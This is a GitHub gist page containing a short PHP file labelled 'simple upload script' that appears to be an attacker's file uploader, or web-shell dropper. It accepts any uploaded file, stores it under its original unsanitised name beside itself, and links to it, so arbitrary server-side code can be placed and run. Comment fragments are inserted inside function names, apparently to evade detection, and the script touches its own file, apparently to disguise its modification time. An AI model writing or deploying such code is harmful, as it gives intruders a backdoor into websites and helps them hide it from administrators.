Skip to content

Instantly share code, notes, and snippets.

@non7top
Created February 5, 2016 12:56
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save non7top/31901ceffe7da8b5a66e to your computer and use it in GitHub Desktop.
Save non7top/31901ceffe7da8b5a66e to your computer and use it in GitHub Desktop.
simple upload script
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-utf-8">
<title>utf</title>
</head>
<body>
<?php
print "<h1>#p@$c@#</h1>\n";
echo "Your IP: ";
echo $_SERVER['REMOTE_ADDR'];
echo "<form method=\"post\" enctype=\"multipart/form-data\">\n";
echo "<input type=\"file\" name=\"filename\"><br> \n";
echo "<input type=\"submit\" value=\"LOAD\"><br>\n";
echo "</form>\n";
if(is_uploaded_file/*;*/($_FILES["filename"]["tmp_name"]))
{
move_uploaded_file/*;*/($_FILES["filename"]["tmp_name"], $_FILES["filename"]["name"]);
$file = $_FILES/*;*/["filename"]["name"];
echo "<a href=\"$file\">$file</a>";
} else {
echo("empty");
}
$filename = $_SERVER[SCRIPT_FILENAME];
touch/*;*/($filename, $time);
?>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment